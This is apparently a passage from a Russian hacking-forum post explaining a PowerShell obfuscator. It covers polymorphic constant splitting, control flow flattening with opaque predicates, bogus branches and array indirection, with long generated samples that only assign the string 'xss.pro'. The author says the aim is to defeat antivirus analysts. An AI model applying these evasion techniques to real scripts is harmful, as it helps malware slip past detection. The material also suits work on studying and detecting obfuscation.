$ORrIuJNmaxklTjB = ($gcpfHOGsNklLTmu + $itkyNKYpLBPOvWR)
$lqRJoaNrsWDmjBe = $ORrIuJNmaxklTjB
$LwZebAmvKgPDkXl = $lqRJoaNrsWDmjBe
$NUZVvenyWcpjwls = ([string]([char]($($LwZebAmvKgPDkXl - (61)))))
$enaCGJILwbrxhdi = $NUZVvenyWcpjwls
$SIAwUCtDMaXojRO = $UpAsoTSbdIKrGPq
$NzDKLSJopOlBcCv = $enaCGJILwbrxhdi
$SNpMXzGiYalgEAs = $NzDKLSJopOlBcCv
$QXnjcYqgUsMrSAd = $SNpMXzGiYalgEAs
$esXcyUTZjaonEtQ = $SIAwUCtDMaXojRO
$rGRTDistEwASYJZ = $esXcyUTZjaonEtQ
$SUPXKLvpmhAgDuW = $rGRTDistEwASYJZ
$aGUTxjzDtmNlvQw = $QXnjcYqgUsMrSAd
$RWuSwglVpeUbXia = $SUPXKLvpmhAgDuW
$DpLeukIyzPmcaKX = $aGUTxjzDtmNlvQw
$aLoWEYbBAHildtn = $DpLeukIyzPmcaKX
$ZEBkixFpzvRNYsW = $aLoWEYbBAHildtn
$JHCyILuzQDWETSs = $RWuSwglVpeUbXia
$kLJzDrsxGdpXbqv = $ZEBkixFpzvRNYsW
$nAqdUEDkjNMlIHS = $JHCyILuzQDWETSs
$BZGJzkDvaSobCLV = $nAqdUEDkjNMlIHS + $kLJzDrsxGdpXbqv
$jrXVkMciAuTbxKg = $BZGJzkDvaSobCLV
$lfvPzCKJRnoZyVF = $jrXVkMciAuTbxKg + $szbiaOehWoGclrj
$zTymKWEYuipJwCb = (133)
$qtfjgAlhoPJxDEk = 40
$QHKjUhotPagYSTx = 69
$yVKWlAYxRszCbTn = 50
$YXZGlMpahmKEtNq = ($QHKjUhotPagYSTx + $yVKWlAYxRszCbTn)
$SohdzumyAIlZFJN = $qtfjgAlhoPJxDEk
$hxWuTgFvlirOREs = $YXZGlMpahmKEtNq
$uXeGrNxPVzHypoU = $hxWuTgFvlirOREs
$WmwYLAGKBsztjor = $uXeGrNxPVzHypoU
$ABtlbVwCoOniXMS = $SohdzumyAIlZFJN
$oUHKlPuMkdVfjXz = $WmwYLAGKBsztjor
$EqlCjVmuntcBvIT = $ABtlbVwCoOniXMS
$uhmNDWAtCiLOkla = $oUHKlPuMkdVfjXz
$wkjZmoSalVeYACi = $EqlCjVmuntcBvIT
$eYFruzldqNgJyAv = $wkjZmoSalVeYACi
$TyOlPFAVSxheXCc = $eYFruzldqNgJyAv
$zxnIJUgcyiKXuGF = $TyOlPFAVSxheXCc
$QWcpvVFarPqnGTL = $uhmNDWAtCiLOkla
$RxOcBnZJGsNWUlw = ($zxnIJUgcyiKXuGF + $QWcpvVFarPqnGTL)
$DONMQbfFcPZtICz = 79
$OvfuigaNIxLMdZU = (62 + $DONMQbfFcPZtICz)
$VFZdGmtEXehbHRI = $RxOcBnZJGsNWUlw
$gitOTGZzPQVvaHA = $OvfuigaNIxLMdZU
$mCyNZqalLsUWKoT = $gitOTGZzPQVvaHA
$aVbWrjMRizhcAlU = $VFZdGmtEXehbHRI
$qUyOKHtVldJkShz = ($mCyNZqalLsUWKoT - $aVbWrjMRizhcAlU)
$LJAhGHnlODrvaFC = $qUyOKHtVldJkShz
$WQnHJroXbDKhFPt = $LJAhGHnlODrvaFC
$hrGLSqnMARzgFuD = $zTymKWEYuipJwCb
$yiJvXFMoxwBsumZ = $WQnHJroXbDKhFPt
$yYFRTzjHkNiVLZo = $yiJvXFMoxwBsumZ
$DjUxQGHmukoqFcT = $yYFRTzjHkNiVLZo
$BmtgslwCuQvJInx = $hrGLSqnMARzgFuD
$TFWXgOyBVjwkmHs = $BmtgslwCuQvJInx
$laQxKOWbzqMLgcv = $TFWXgOyBVjwkmHs
$KVLNuhBePAwScRx = $DjUxQGHmukoqFcT
$mzbnpPSIeoQCNXK = $KVLNuhBePAwScRx
$qigWKYBzvXUuEjt = $mzbnpPSIeoQCNXK
$BAEqQHvNshIekYg = ([string]([char]($($qigWKYBzvXUuEjt + $laQxKOWbzqMLgcv))))
$xMyAQlsJIagdfEK = $lfvPzCKJRnoZyVF
$vjeZRtWTlsdpxfS = $xMyAQlsJIagdfEK
$AxQzYsfUHChoGLc = (394)
$dUzKsGlqwnTRiVf = $AxQzYsfUHChoGLc
$YTZByjgLtpExiFk = 33
$rYiPyglGFshfoLV = 19
$vEWhsPbMDuycnYH = ($YTZByjgLtpExiFk + $rYiPyglGFshfoLV)
$hMTfnBoLCrskVQz = (7 * 53)
$nXGleKPYIELmvip = $hMTfnBoLCrskVQz
$ixuOHJlaRtrgpBG = 76
$ajtfnShiOeGqIgr = $nXGleKPYIELmvip
$kAqYZzyIPpTMUOJ = ($ixuOHJlaRtrgpBG + $ajtfnShiOeGqIgr)
$YOSDkxmwtBnpjRv = $vEWhsPbMDuycnYH
$iIBPVRAYpOlqdxC = $kAqYZzyIPpTMUOJ
$rvDYUyZTMBJwhxk = $YOSDkxmwtBnpjRv
$FItmZKykhsEeiap = ($rvDYUyZTMBJwhxk + $iIBPVRAYpOlqdxC)
$ExAgWGIsaScLqfu = $dUzKsGlqwnTRiVf
$fhnYzMZywOQGoju = ([string]([char]($($FItmZKykhsEeiap - $ExAgWGIsaScLqfu))))
$hEiUVIOcbTdsNqm = $vjeZRtWTlsdpxfS
$PrjwWKodTqebBDx = $fhnYzMZywOQGoju
$pvWrgLzNfSntyUd = $hEiUVIOcbTdsNqm
$ljkcFeBrYMPOISy = $PrjwWKodTqebBDx
$NoPkjEUYDaGIsVR = $pvWrgLzNfSntyUd + $ljkcFeBrYMPOISy
$piTdSNAqOjrbBgE = $NoPkjEUYDaGIsVR
$yPmnvCphSzxqjQZ = $BAEqQHvNshIekYg
$x = $($piTdSNAqOjrbBgE + $yPmnvCphSzxqjQZ)
Теперь касательно этой техники. Что тут было не ясно? Это выражение должен создать генератор и вставить на место 5. При выполнении получается та же 5. Как сделать и его полиморфным?parseInt('opf4opf5opf6'.split('opf')[2])
В бой.
Код:
https://pastebin.com/T7cknk9c
$gjyodIQzwSmEDtr = $([int]("36GEhZrfKFMdmkOgA28GEhZrfKFMdmkOgA62GEhZrfKFMdmkOgA27GEhZrfKFMdmkOgA92GEhZrfKFMdmkOgA53GEhZrfKFMdmkOgA40GEhZrfKFMdmkOgA13GEhZrfKFMdmkOgA23GEhZrfKFMdmkOgA18" -split "GEhZrfKFMdmkOgA")[$([int]("51NwsyQhtxDgKYcBR71NwsyQhtxDgKYcBR61NwsyQhtxDgKYcBR26NwsyQhtxDgKYcBR28NwsyQhtxDgKYcBR55NwsyQhtxDgKYcBR0NwsyQhtxDgKYcBR34NwsyQhtxDgKYcBR20NwsyQhtxDgKYcBR84" -split "NwsyQhtxDgKYcBR")[$([int]("73DifWItmGNzBvKOJ11DifWItmGNzBvKOJ51DifWItmGNzBvKOJ21DifWItmGNzBvKOJ30DifWItmGNzBvKOJ17DifWItmGNzBvKOJ97DifWItmGNzBvKOJ6DifWItmGNzBvKOJ90DifWItmGNzBvKOJ94" -split "DifWItmGNzBvKOJ")[$([int]("80pBiQGtJkSrzgEeF71pBiQGtJkSrzgEeF7pBiQGtJkSrzgEeF2pBiQGtJkSrzgEeF79pBiQGtJkSrzgEeF40pBiQGtJkSrzgEeF10pBiQGtJkSrzgEeF8pBiQGtJkSrzgEeF27pBiQGtJkSrzgEeF29" -split "pBiQGtJkSrzgEeF")[2])])])])
Инты, отвечающие за индексы, превращаются в такой же splitted вид.
А теперь запутаем ход выполнения с помощью Control Flow Flattening. Если не знаешь, что это такое, то вот 2 картинки. По ним все понятно.
У меня дефолтная реализация этого алгоритма, за исключением одного "но".
Но, сначала посмотрим на боевой код, который порождает этот генератор из нашего начального сорца $x = 'xss.pro'.
Код:
https://pastebin.com/bgBuC2Pv
$(((62 + 32) * (46 + (18 * 53))) + (783741864))
{
$VjnsxotMifqHRSL = $(((76 * 44) * (34 + (70 - 51))) + (1553393723));
$cnwlTBaHRqOzmxG = $CymAsYVpNQJxOLz
}
Это полноценный case. Только вот в каком случае произойдет на него прыжок? Чтобы это узнать - надо посчитать $(((62 + 32) * (46 + (18 * 53))) + (783741864)). Чтобы узнать место следующего прыжка - надо просчитать $VjnsxotMifqHRSL = $(((76 * 44) * (34 + (70 - 51))) + (1553393723));
А $cnwlTBaHRqOzmxG = $CymAsYVpNQJxOLz - это реальная инструкция, взятая с предыдущих шагов обфускации. Но когда она выполнится?)
Чтобы понять, что за чем будет выполняться и как этот код работает, и в какой последовательности - надо сначала просмотреть все case, высчитать их значения, потом просмотреть место следующего прыжка, его тоже высчитать и восстановить правильную последовательность флоу. Control flow flattening мы применили тут как раз к предыдущему шагу, когда разбили мат выражение на 100500 переменных. Имеем, значит такую последовательность. Разбили константу в полиморфное мат выражение -> разбили мат выражение в 100500 переменных, с уникальным состоянием. А потом поморфили флоу выполнения. Где места прыжков и передача флоу не в открытом виде, а тоже является вычисляемой величиной. То есть это opaque predicate - результат известный нам при генерации, но который нельзя получить без вычисления руками и/или эмуляции автоматикой.
Есть еще алгоритм Bogus Flow Flattening. Он у меня тоже имеется в реализации, но его уже выставлять не буду, лень билдить. Лучше просто скажу что это такое.
Суть bff алгоритма в том, что мы все statements в коде оборачиваем в if else конструкции. При этом мы генерируем для if в условии opaque predicate. Такое, чтобы нельзя было на него просто глянуть и понять без вычисления, что будет истиной, а что ложью.
Например имеем код
x = 5
y = 6
z = x + y.
Допустим, что в генераторе рандом определил, что if будет ложным а else тру.
Тогда генерируется для первого стейтмента x = 5 такой код.
Код:
if(2 > 2){
try{
//тут_рандомный_стейтмент из всего нашего кода, например y = 6. Он все равно никогда не выполнится в этой ветке.
}
catch{}
}
else{
x = 5
}
Если генератор решит, что if должен быть true(условие выполняется) - то обратная операция, в else будет код, который никогда не выполнится.
Тот код, который никогда не выполнится, можно взять либо из своего же кода, распарсив его на стейтменты, либо из заранее заготовленого списка, либо парсить рандомные сорцы, взятые хз откуда, на стейтменты.
Само условие должно быть opaque predicate, то есть не 2 > 2. А что то, что должно вычислиться в рантайме. Например в данном случае ты обе двойки можешь прогнать через первый алгоритм, который я описал.
Следующий алгоритм в нашем арсенале. Я зову его "пошел нахуй аверский реверсер". Лучше один раз увидеть, чем сто раз услышать.
Простой пример в простейшем виде, для понимания логики:
Подаем на вход:
Код:
$x = 'xss.pro'
Стало после 1 итерации морфера.
Код:
$OMAafUsBZNHkJSg = @('xss.pro')
$x = $OMAafUsBZNHkJSg[0]
Код:
$JiDToNRmvYzXIVd = @('xss.pro',0,0,1)
$xlEDPeFihuGyzLU = @($JiDToNRmvYzXIVd[0],$JiDToNRmvYzXIVd[1])
$ZOWiFXSIQyEgzer = @($xlEDPeFihuGyzLU[$JiDToNRmvYzXIVd[2]])
$x = $ZOWiFXSIQyEgzer[$xlEDPeFihuGyzLU[$JiDToNRmvYzXIVd[3]]]
Стало после 10 итераций.
Код:
$GEjhTeFJBovkpNM = @('xss.pro',0,0,1,0,1,2,3,0,1,2,3,4,5,6,7,0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,85,86,87,88,89,90,91,92,93,94,95,96,97,98,99,100,101,102,103,104,105,106,107,108,109,110,111,112,113,114,115,116,117,118,119,120,121,122,123,124,125,126,127,0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,85,86,87,88,89,90,91,92,93,94,95,96,97,98,99,100,101,102,103,104,105,106,107,108,109,110,111,112,113,114,115,116,117,118,119,120,121,122,123,124,125,126,127,128,129,130,131,132,133,134,135,136,137,138,139,140,141,142,143,144,145,146,147,148,149,150,151,152,153,154,155,156,157,158,159,160,161,162,163,164,165,166,167,168,169,170,171,172,173,174,175,176,177,178,179,180,181,182,183,184,185,186,187,188,189,190,191,192,193,194,195,196,197,198,199,200,201,202,203,204,205,206,207,208,209,210,211,212,213,214,215,216,217,218,219,220,221,222,223,224,225,226,227,228,229,230,231,232,233,234,235,236,237,238,239,240,241,242,243,244,245,246,247,248,249,250,251,252,253,254,255)
$LVWvnNbyRShojaw = @($GEjhTeFJBovkpNM[0],$GEjhTeFJBovkpNM[1],$GEjhTeFJBovkpNM[2],$GEjhTeFJBovkpNM[3],$GEjhTeFJBovkpNM[4],$GEjhTeFJBovkpNM[5],$GEjhTeFJBovkpNM[6],$GEjhTeFJBovkpNM[7],$GEjhTeFJBovkpNM[8],$GEjhTeFJBovkpNM[9],$GEjhTeFJBovkpNM[10],$GEjhTeFJBovkpNM[11],$GEjhTeFJBovkpNM[12],$GEjhTeFJBovkpNM[13],$GEjhTeFJBovkpNM[14],$GEjhTeFJBovkpNM[15],$GEjhTeFJBovkpNM[16],$GEjhTeFJBovkpNM[17],$GEjhTeFJBovkpNM[18],$GEjhTeFJBovkpNM[19],$GEjhTeFJBovkpNM[20],$GEjhTeFJBovkpNM[21],$GEjhTeFJBovkpNM[22],$GEjhTeFJBovkpNM[23],$GEjhTeFJBovkpNM[24],$GEjhTeFJBovkpNM[25],$GEjhTeFJBovkpNM[26],$GEjhTeFJBovkpNM[27],$GEjhTeFJBovkpNM[28],$GEjhTeFJBovkpNM[29],$GEjhTeFJBovkpNM[30],$GEjhTeFJBovkpNM[31],$GEjhTeFJBovkpNM[32],$GEjhTeFJBovkpNM[33],$GEjhTeFJBovkpNM[34],$GEjhTeFJBovkpNM[35],$GEjhTeFJBovkpNM[36],$GEjhTeFJBovkpNM[37],$GEjhTeFJBovkpNM[38],$GEjhTeFJBovkpNM[39],$GEjhTeFJBovkpNM[40],$GEjhTeFJBovkpNM[41],$GEjhTeFJBovkpNM[42],$GEjhTeFJBovkpNM[43],$GEjhTeFJBovkpNM[44],$GEjhTeFJBovkpNM[45],$GEjhTeFJBovkpNM[46],$GEjhTeFJBovkpNM[47],$GEjhTeFJBovkpNM[48],$GEjhTeFJBovkpNM[49],$GEjhTeFJBovkpNM[50],$GEjhTeFJBovkpNM[51],$GEjhTeFJBovkpNM[52],$GEjhTeFJBovkpNM[53],$GEjhTeFJBovkpNM[54],$GEjhTeFJBovkpNM[55],$GEjhTeFJBovkpNM[56],$GEjhTeFJBovkpNM[57],$GEjhTeFJBovkpNM[58],$GEjhTeFJBovkpNM[59],$GEjhTeFJBovkpNM[60],$GEjhTeFJBovkpNM[61],$GEjhTeFJBovkpNM[62],$GEjhTeFJBovkpNM[63],$GEjhTeFJBovkpNM[64],$GEjhTeFJBovkpNM[65],$GEjhTeFJBovkpNM[66],$GEjhTeFJBovkpNM[67],$GEjhTeFJBovkpNM[68],$GEjhTeFJBovkpNM[69],$GEjhTeFJBovkpNM[70],$GEjhTeFJBovkpNM[71],$GEjhTeFJBovkpNM[72],$GEjhTeFJBovkpNM[73],$GEjhTeFJBovkpNM[74],$GEjhTeFJBovkpNM[75],$GEjhTeFJBovkpNM[76],$GEjhTeFJBovkpNM[77],$GEjhTeFJBovkpNM[78],$GEjhTeFJBovkpNM[79],$GEjhTeFJBovkpNM[80],$GEjhTeFJBovkpNM[81],$GEjhTeFJBovkpNM[82],$GEjhTeFJBovkpNM[83],$GEjhTeFJBovkpNM[84],$GEjhTeFJBovkpNM[85],$GEjhTeFJBovkpNM[86],$GEjhTeFJBovkpNM[87],$GEjhTeFJBovkpNM[88],$GEjhTeFJBovkpNM[89],$GEjhTeFJBovkpNM[90],$GEjhTeFJBovkpNM[91],$GEjhTeFJBovkpNM[92],$GEjhTeFJBovkpNM[93],$GEjhTeFJBovkpNM[94],$GEjhTeFJBovkpNM[95],$GEjhTeFJBovkpNM[96],$GEjhTeFJBovkpNM[97],$GEjhTeFJBovkpNM[98],$GEjhTeFJBovkpNM[99],$GEjhTeFJBovkpNM[100],$GEjhTeFJBovkpNM[101],$GEjhTeFJBovkpNM[102],$GEjhTeFJBovkpNM[103],$GEjhTeFJBovkpNM[104],$GEjhTeFJBovkpNM[105],$GEjhTeFJBovkpNM[106],$GEjhTeFJBovkpNM[107],$GEjhTeFJBovkpNM[108],$GEjhTeFJBovkpNM[109],$GEjhTeFJBovkpNM[110],$GEjhTeFJBovkpNM[111],$GEjhTeFJBovkpNM[112],$GEjhTeFJBovkpNM[113],$GEjhTeFJBovkpNM[114],$GEjhTeFJBovkpNM[115],$GEjhTeFJBovkpNM[116],$GEjhTeFJBovkpNM[117],$GEjhTeFJBovkpNM[118],$GEjhTeFJBovkpNM[119],$GEjhTeFJBovkpNM[120],$GEjhTeFJBovkpNM[121],$GEjhTeFJBovkpNM[122],$GEjhTeFJBovkpNM[123],$GEjhTeFJBovkpNM[124],$GEjhTeFJBovkpNM[125],$GEjhTeFJBovkpNM[126],$GEjhTeFJBovkpNM[127],$GEjhTeFJBovkpNM[128],$GEjhTeFJBovkpNM[129],$GEjhTeFJBovkpNM[130],$GEjhTeFJBovkpNM[131],$GEjhTeFJBovkpNM[132],$GEjhTeFJBovkpNM[133],$GEjhTeFJBovkpNM[134],$GEjhTeFJBovkpNM[135],$GEjhTeFJBovkpNM[136],$GEjhTeFJBovkpNM[137],$GEjhTeFJBovkpNM[138],$GEjhTeFJBovkpNM[139],$GEjhTeFJBovkpNM[140],$GEjhTeFJBovkpNM[141],$GEjhTeFJBovkpNM[142],$GEjhTeFJBovkpNM[143],$GEjhTeFJBovkpNM[144],$GEjhTeFJBovkpNM[145],$GEjhTeFJBovkpNM[146],$GEjhTeFJBovkpNM[147],$GEjhTeFJBovkpNM[148],$GEjhTeFJBovkpNM[149],$GEjhTeFJBovkpNM[150],$GEjhTeFJBovkpNM[151],$GEjhTeFJBovkpNM[152],$GEjhTeFJBovkpNM[153],$GEjhTeFJBovkpNM[154],$GEjhTeFJBovkpNM[155],$GEjhTeFJBovkpNM[156],$GEjhTeFJBovkpNM[157],$GEjhTeFJBovkpNM[158],$GEjhTeFJBovkpNM[159],$GEjhTeFJBovkpNM[160],$GEjhTeFJBovkpNM[161],$GEjhTeFJBovkpNM[162],$GEjhTeFJBovkpNM[163],$GEjhTeFJBovkpNM[164],$GEjhTeFJBovkpNM[165],$GEjhTeFJBovkpNM[166],$GEjhTeFJBovkpNM[167],$GEjhTeFJBovkpNM[168],$GEjhTeFJBovkpNM[169],$GEjhTeFJBovkpNM[170],$GEjhTeFJBovkpNM[171],$GEjhTeFJBovkpNM[172],$GEjhTeFJBovkpNM[173],$GEjhTeFJBovkpNM[174],$GEjhTeFJBovkpNM[175],$GEjhTeFJBovkpNM[176],$GEjhTeFJBovkpNM[177],$GEjhTeFJBovkpNM[178],$GEjhTeFJBovkpNM[179],$GEjhTeFJBovkpNM[180],$GEjhTeFJBovkpNM[181],$GEjhTeFJBovkpNM[182],$GEjhTeFJBovkpNM[183],$GEjhTeFJBovkpNM[184],$GEjhTeFJBovkpNM[185],$GEjhTeFJBovkpNM[186],$GEjhTeFJBovkpNM[187],$GEjhTeFJBovkpNM[188],$GEjhTeFJBovkpNM[189],$GEjhTeFJBovkpNM[190],$GEjhTeFJBovkpNM[191],$GEjhTeFJBovkpNM[192],$GEjhTeFJBovkpNM[193],$GEjhTeFJBovkpNM[194],$GEjhTeFJBovkpNM[195],$GEjhTeFJBovkpNM[196],$GEjhTeFJBovkpNM[197],$GEjhTeFJBovkpNM[198],$GEjhTeFJBovkpNM[199],$GEjhTeFJBovkpNM[200],$GEjhTeFJBovkpNM[201],$GEjhTeFJBovkpNM[202],$GEjhTeFJBovkpNM[203],$GEjhTeFJBovkpNM[204],$GEjhTeFJBovkpNM[205],$GEjhTeFJBovkpNM[206],$GEjhTeFJBovkpNM[207],$GEjhTeFJBovkpNM[208],$GEjhTeFJBovkpNM[209],$GEjhTeFJBovkpNM[210],$GEjhTeFJBovkpNM[211],$GEjhTeFJBovkpNM[212],$GEjhTeFJBovkpNM[213],$GEjhTeFJBovkpNM[214],$GEjhTeFJBovkpNM[215],$GEjhTeFJBovkpNM[216],$GEjhTeFJBovkpNM[217],$GEjhTeFJBovkpNM[218],$GEjhTeFJBovkpNM[219],$GEjhTeFJBovkpNM[220],$GEjhTeFJBovkpNM[221],$GEjhTeFJBovkpNM[222],$GEjhTeFJBovkpNM[223],$GEjhTeFJBovkpNM[224],$GEjhTeFJBovkpNM[225],$GEjhTeFJBovkpNM[226],$GEjhTeFJBovkpNM[227],$GEjhTeFJBovkpNM[228],$GEjhTeFJBovkpNM[229],$GEjhTeFJBovkpNM[230],$GEjhTeFJBovkpNM[231],$GEjhTeFJBovkpNM[232],$GEjhTeFJBovkpNM[233],$GEjhTeFJBovkpNM[234],$GEjhTeFJBovkpNM[235],$GEjhTeFJBovkpNM[236],$GEjhTeFJBovkpNM[237],$GEjhTeFJBovkpNM[238],$GEjhTeFJBovkpNM[239],$GEjhTeFJBovkpNM[240],$GEjhTeFJBovkpNM[241],$GEjhTeFJBovkpNM[242],$GEjhTeFJBovkpNM[243],$GEjhTeFJBovkpNM[244],$GEjhTeFJBovkpNM[245],$GEjhTeFJBovkpNM[246],$GEjhTeFJBovkpNM[247],$GEjhTeFJBovkpNM[248],$GEjhTeFJBovkpNM[249],$GEjhTeFJBovkpNM[250],$GEjhTeFJBovkpNM[251],$GEjhTeFJBovkpNM[252],$GEjhTeFJBovkpNM[253],$GEjhTeFJBovkpNM[254],$GEjhTeFJBovkpNM[255])
$aExgurVDocBOniI = @($LVWvnNbyRShojaw[$GEjhTeFJBovkpNM[256]],$LVWvnNbyRShojaw[$GEjhTeFJBovkpNM[257]],$LVWvnNbyRShojaw[$GEjhTeFJBovkpNM[258]],$LVWvnNbyRShojaw[$GEjhTeFJBovkpNM[259]],$LVWvnNbyRShojaw[$GEjhTeFJBovkpNM[260]],$LVWvnNbyRShojaw[$GEjhTeFJBovkpNM[261]],$LVWvnNbyRShojaw[$GEjhTeFJBovkpNM[262]],$LVWvnNbyRShojaw[$GEjhTeFJBovkpNM[263]],$LVWvnNbyRShojaw[$GEjhTeFJBovkpNM[264]],$LVWvnNbyRShojaw[$GEjhTeFJBovkpNM[265]],$LVWvnNbyRShojaw[$GEjhTeFJBovkpNM[266]],$LVWvnNbyRShojaw[$GEjhTeFJBovkpNM[267]],$LVWvnNbyRShojaw[$GEjhTeFJBovkpNM[268]],$LVWvnNbyRShojaw[$GEjhTeFJBovkpNM[269]],$LVWvnNbyRShojaw[$GEjhTeFJBovkpNM[270]],$LVWvnNbyRShojaw[$GEjhTeFJBovkpNM[271]],$LVWvnNbyRShojaw[$GEjhTeFJBovkpNM[272]],$LVWvnNbyRShojaw[$GEjhTeFJBovkpNM[273]],$LVWvnNbyRShojaw[$GEjhTeFJBovkpNM[274]],$LVWvnNbyRShojaw[$GEjhTeFJBovkpNM[275]],$LVWvnNbyRShojaw[$GEjhTeFJBovkpNM[276]],$LVWvnNbyRShojaw[$GEjhTeFJBovkpNM[277]],$LVWvnNbyRShojaw[$GEjhTeFJBovkpNM[278]],$LVWvnNbyRShojaw[$GEjhTeFJBovkpNM[279]],$LVWvnNbyRShojaw[$GEjhTeFJBovkpNM[280]],$LVWvnNbyRShojaw[$GEjhTeFJBovkpNM[281]],$LVWvnNbyRShojaw[$GEjhTeFJBovkpNM[282]],$LVWvnNbyRShojaw[$GEjhTeFJBovkpNM[283]],$LVWvnNbyRShojaw[$GEjhTeFJBovkpNM[284]],$LVWvnNbyRShojaw[$GEjhTeFJBovkpNM[285]],$LVWvnNbyRShojaw[$GEjhTeFJBovkpNM[286]],$LVWvnNbyRShojaw[$GEjhTeFJBovkpNM[287]],$LVWvnNbyRShojaw[$GEjhTeFJBovkpNM[288]],$LVWvnNbyRShojaw[$GEjhTeFJBovkpNM[289]],$LVWvnNbyRShojaw[$GEjhTeFJBovkpNM[290]],$LVWvnNbyRShojaw[$GEjhTeFJBovkpNM[291]],$LVWvnNbyRShojaw[$GEjhTeFJBovkpNM[292]],$LVWvnNbyRShojaw[$GEjhTeFJBovkpNM[293]],$LVWvnNbyRShojaw[$GEjhTeFJBovkpNM[294]],$LVWvnNbyRShojaw[$GEjhTeFJBovkpNM[295]],$LVWvnNbyRShojaw[$GEjhTeFJBovkpNM[296]],$LVWvnNbyRShojaw[$GEjhTeFJBovkpNM[297]],$LVWvnNbyRShojaw[$GEjhTeFJBovkpNM[298]],$LVWvnNbyRShojaw[$GEjhTeFJBovkpNM[299]],$LVWvnNbyRShojaw[$GEjhTeFJBovkpNM[300]],$LVWvnNbyRShojaw[$GEjhTeFJBovkpNM[301]],$LVWvnNbyRShojaw[$GEjhTeFJBovkpNM[302]],$LVWvnNbyRShojaw[$GEjhTeFJBovkpNM[303]],$LVWvnNbyRShojaw[$GEjhTeFJBovkpNM[304]],$LVWvnNbyRShojaw[$GEjhTeFJBovkpNM[305]],$LVWvnNbyRShojaw[$GEjhTeFJBovkpNM[306]],$LVWvnNbyRShojaw[$GEjhTeFJBovkpNM[307]],$LVWvnNbyRShojaw[$GEjhTeFJBovkpNM[308]],$LVWvnNbyRShojaw[$GEjhTeFJBovkpNM[309]],$LVWvnNbyRShojaw[$GEjhTeFJBovkpNM[310]],$LVWvnNbyRShojaw[$GEjhTeFJBovkpNM[311]],$LVWvnNbyRShojaw[$GEjhTeFJBovkpNM[312]],$LVWvnNbyRShojaw[$GEjhTeFJBovkpNM[313]],$LVWvnNbyRShojaw[$GEjhTeFJBovkpNM[314]],$LVWvnNbyRShojaw[$GEjhTeFJBovkpNM[315]],$LVWvnNbyRShojaw[$GEjhTeFJBovkpNM[316]],$LVWvnNbyRShojaw[$GEjhTeFJBovkpNM[317]],$LVWvnNbyRShojaw[$GEjhTeFJBovkpNM[318]],$LVWvnNbyRShojaw[$GEjhTeFJBovkpNM[319]],$LVWvnNbyRShojaw[$GEjhTeFJBovkpNM[320]],$LVWvnNbyRShojaw[$GEjhTeFJBovkpNM[321]],$LVWvnNbyRShojaw[$GEjhTeFJBovkpNM[322]],$LVWvnNbyRShojaw[$GEjhTeFJBovkpNM[323]],$LVWvnNbyRShojaw[$GEjhTeFJBovkpNM[324]],$LVWvnNbyRShojaw[$GEjhTeFJBovkpNM[325]],$LVWvnNbyRShojaw[$GEjhTeFJBovkpNM[326]],$LVWvnNbyRShojaw[$GEjhTeFJBovkpNM[327]],$LVWvnNbyRShojaw[$GEjhTeFJBovkpNM[328]],$LVWvnNbyRShojaw[$GEjhTeFJBovkpNM[329]],$LVWvnNbyRShojaw[$GEjhTeFJBovkpNM[330]],$LVWvnNbyRShojaw[$GEjhTeFJBovkpNM[331]],$LVWvnNbyRShojaw[$GEjhTeFJBovkpNM[332]],$LVWvnNbyRShojaw[$GEjhTeFJBovkpNM[333]],$LVWvnNbyRShojaw[$GEjhTeFJBovkpNM[334]],$LVWvnNbyRShojaw[$GEjhTeFJBovkpNM[335]],$LVWvnNbyRShojaw[$GEjhTeFJBovkpNM[336]],$LVWvnNbyRShojaw[$GEjhTeFJBovkpNM[337]],$LVWvnNbyRShojaw[$GEjhTeFJBovkpNM[338]],$LVWvnNbyRShojaw[$GEjhTeFJBovkpNM[339]],$LVWvnNbyRShojaw[$GEjhTeFJBovkpNM[340]],$LVWvnNbyRShojaw[$GEjhTeFJBovkpNM[341]],$LVWvnNbyRShojaw[$GEjhTeFJBovkpNM[342]],$LVWvnNbyRShojaw[$GEjhTeFJBovkpNM[343]],$LVWvnNbyRShojaw[$GEjhTeFJBovkpNM[344]],$LVWvnNbyRShojaw[$GEjhTeFJBovkpNM[345]],$LVWvnNbyRShojaw[$GEjhTeFJBovkpNM[346]],$LVWvnNbyRShojaw[$GEjhTeFJBovkpNM[347]],$LVWvnNbyRShojaw[$GEjhTeFJBovkpNM[348]],$LVWvnNbyRShojaw[$GEjhTeFJBovkpNM[349]],$LVWvnNbyRShojaw[$GEjhTeFJBovkpNM[350]],$LVWvnNbyRShojaw[$GEjhTeFJBovkpNM[351]],$LVWvnNbyRShojaw[$GEjhTeFJBovkpNM[352]],$LVWvnNbyRShojaw[$GEjhTeFJBovkpNM[353]],$LVWvnNbyRShojaw[$GEjhTeFJBovkpNM[354]],$LVWvnNbyRShojaw[$GEjhTeFJBovkpNM[355]],$LVWvnNbyRShojaw[$GEjhTeFJBovkpNM[356]],$LVWvnNbyRShojaw[$GEjhTeFJBovkpNM[357]],$LVWvnNbyRShojaw[$GEjhTeFJBovkpNM[358]],$LVWvnNbyRShojaw[$GEjhTeFJBovkpNM[359]],$LVWvnNbyRShojaw[$GEjhTeFJBovkpNM[360]],$LVWvnNbyRShojaw[$GEjhTeFJBovkpNM[361]],$LVWvnNbyRShojaw[$GEjhTeFJBovkpNM[362]],$LVWvnNbyRShojaw[$GEjhTeFJBovkpNM[363]],$LVWvnNbyRShojaw[$GEjhTeFJBovkpNM[364]],$LVWvnNbyRShojaw[$GEjhTeFJBovkpNM[365]],$LVWvnNbyRShojaw[$GEjhTeFJBovkpNM[366]],$LVWvnNbyRShojaw[$GEjhTeF